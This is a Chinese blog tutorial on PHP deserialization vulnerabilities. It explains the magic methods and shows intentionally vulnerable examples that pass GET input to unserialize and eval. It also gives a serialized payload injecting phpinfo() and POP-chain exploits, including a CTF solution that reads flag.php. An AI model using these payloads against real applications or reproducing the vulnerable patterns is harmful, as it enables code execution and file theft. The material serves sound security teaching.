php反序列化总结（一）

一、魔术方法
1、列举
__wakeup() //使用unserialize时触发
__sleep()//使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic()//在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用isset()或empty()触发
__unset()//在不可访问的属性上使用unset()时触发
__toString()//把类当作字符串使用时触发
__invoke()//当脚本尝试将对象调用为函数时触发

2、执行顺序
new了一个对象，对象被执行，执行_construct
construct run
serialize了对一个对象，对象被序列化，先执行_sleep，再序列化
sleep run
unserialize了一个序列化字符串，对象被反序列化，先反序列化，再执行 _wakeup
把Test这个对象当做字符串使用了，执行_toString
toString run
程序执行完毕，对象自动销毁，执行_destruct
destruct rundestruct run

二、魔术方法的具体应用

<?php

class A{
    private $name = "xxx";
    function __construct()
    {
        echo "__construct() call\n";
    }

    function __destruct()
    {
        echo "\n__destruct() call\n";
    }

    function __toString()
    {
        return "__toString() call\n";
    }
    function __sleep()
    {
        echo "__sleep() call\n";
        return array("name");
    }
    function __wakeup()
    {
        echo "__wakeup() call\n";
    }
    function __get($a)
    {
        echo "__get() call\n";
        return $this->name;
    }
    function __set($property, $value)
    {   echo "\n__set() call\n";
        $this->$property = $value;
    }
    function __invoke()
    {
        echo "__invoke() call\n";
    }
}

//调用 __construct()
$a = new A();

//调用 __toSting()
echo $a;

//调用 __sleep()
$b = serialize($a);

//调用 __wakeup()
$c = unserialize($b);

//调用 __get()
echo $a->bbbb;

//调用 __set()
$a->name = "pro";//name属性是私有的无法直接访问

//调用 __invoke()
$a();

//调用 __destruct() (会调用两次__destruct，因为中间有一次反序列化)
image.png

补充：
可以看到最后调用两次__destruct()魔术方法，第一个是new一个对象后，在序列化后，该对象结束调用 __destruct()魔术方法 ，之后又进行了一次反序列化重新变为对象，直到最后程序结束，对象消失，再调用一次__destruct()魔术方法 。

遇到反序列化构造POP链的问题，可以配置Xdebug进行断点调试。

三、例子
1、

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

分析：这里只有一个A类，只有一个__wakeup()方法，并且一旦反序列化会走魔法方法__wakeup并且输出test，那我们就将A类序列化输出
POC：

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

$b = new A();
$c = serialize($b);
echo $c;
?>
image.png

这样就算触发 成功

2、
如果__wakeup中不是echo $this->test;,是eval(*)那么就是任意代码执行危害巨大

<?php
class A{
    var $test = "demo";
    function __wakeup(){
        eval($this->test);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

原来的poc改一下，就可以
?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
如下

image.png

3、
当漏洞/危险代码存在在类的普通方法中

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test =new x1();
        }

        function __destruct(){
            $this->test->action();
        }
    }
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

分析：通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct()，所以他会先调用action()函数,然后会走到x1类和x2类，而安全问题在x2类中
POC：

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
    }

    class x2{
        public $test2="phpinfo();";
    }

    $class1 = new maniac();
    print_r(serialize($class1))
?>

如下


image.png

四、题目

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

分析：
对于此题可以看到我们的目的是通过构造反序列化读取flag.php文件，
Read类有file_get_contents()函数，
Show类有highlight_file()函数可以读取文件。
接下来寻找目标点可以看到在最后几行有unserialize函数存在，该函数的执行同时会触发__wakeup魔术方法，而__wakeup魔术方法可以看到在Show类中。
1、__wakeup方法

  public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

存在一个正则匹配函数preg_match()，该函数第二个参数应为字符串，这里把source当作字符串进行的匹配，这时若这个source是某个类的对象的话，就会触发这个类的__tostring方法，通篇看下代码发现__tostring魔术方法也在Show类中，那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。
2、__tostring方法

public function __toString()
    {
        return $this->str['str']->source;
    }

首先找到str这个数组，取出key值为str的value值赋给source，那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇，看到Test类中存在__get魔术方法。
3、__get方法

 public function __get($key)
    {
        $function = $this->p;
        return $function();
    }

发现先取Test类中的属性p给function变量，再通过return $function()把它当作函数执行，这里属性p可控。这样就会触发__invoke魔术方法，而__invoke魔术方法存在于Read类中。
4、__invoke方法

public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }

调用了该类中的file_get方法，形参是var属性值（这里我们可以控制），实参是value值，从而调用file_get_contents函数读取文件内容，所以只要将Read类中的var属性值赋值为flag.php即可。
5、exp思路
pop链
unserialize函数（变量可控）–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php
hello接收参数

<?php 
 
class Show{
    public $source;
    public $str;
}
 
class Test{
    public $p;
}
 
class Read{
    public $var = "flag.php";
}
 
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r;   //赋值Test类的对象($t)下的属性p为Read类的对象($r)，触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ，触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象，从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
 ?>
最后编辑于 ：
©著作权归作者所有,转载或内容合作请联系作者
  • 人面猴
    序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
    沈念sama阅读 159,290评论 4赞 363
  • 死咒
    序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
    沈念sama阅读 67,399评论 1赞 294
  • 救了他两次的神仙让他今天三更去死
    文/潘晓璐 我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
    开封第一讲书人阅读 109,021评论 0赞 243
  • 道士缉凶录：失踪的卖姜人
    文/不坏的土叔 我叫张陵，是天一观的道长。 经常有香客问我，道长，这世上最难降的妖魔是什么？ 我笑而不...
    开封第一讲书人阅读 44,034评论 0赞 207
  • 港岛之恋（遗憾婚礼）
    正文 为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
    茶点故事阅读 52,412评论 3赞 287
  • 恶毒庶女顶嫁案：这布局不是一般人想出来的
    文/花漫 我一把揭开白布。 她就那样静静地躺着，像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上，一...
    开封第一讲书人阅读 40,651评论 1赞 219
  • 城市分裂传说
    那天，我揣着相机与录音，去河边找鬼。 笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。 我是一名探鬼主播，决...
    沈念sama阅读 31,902评论 2赞 313
  • 双鸳鸯连环套：你想象不到人心有多黑
    文/苍兰香墨 我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
    开封第一讲书人阅读 30,605评论 0赞 199
  • 万荣杀人案实录
    序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
    沈念sama阅读 34,339评论 1赞 246
  • 护林员之死
    正文 独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,586评论 2赞 246
  • 白月光启示录
    正文 我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,076评论 1赞 261
  • 活死人
    序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
    沈念sama阅读 28,400评论 2赞 253
  • 日本核电站爆炸内幕
    正文 年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
    茶点故事阅读 33,060评论 3赞 236
  • 男人毒药：我在死后第九天来索命
    文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,083评论 0赞 8
  • 一桩弑父案，背后竟有这般阴谋
    文/苍兰香墨 我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,851评论 0赞 195
  • 情欲美人皮
    我被黑心中介骗来泰国打工， 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。 一个月前我还...
    沈念sama阅读 35,685评论 2赞 274
  • 代替公主和亲
    正文 我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
    茶点故事阅读 35,595评论 2赞 270